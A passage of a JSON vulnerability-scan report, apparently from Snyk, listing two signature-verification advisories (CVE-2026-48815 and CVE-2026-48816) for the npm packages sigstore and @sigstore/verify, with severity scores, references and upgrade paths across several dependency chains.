"modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": 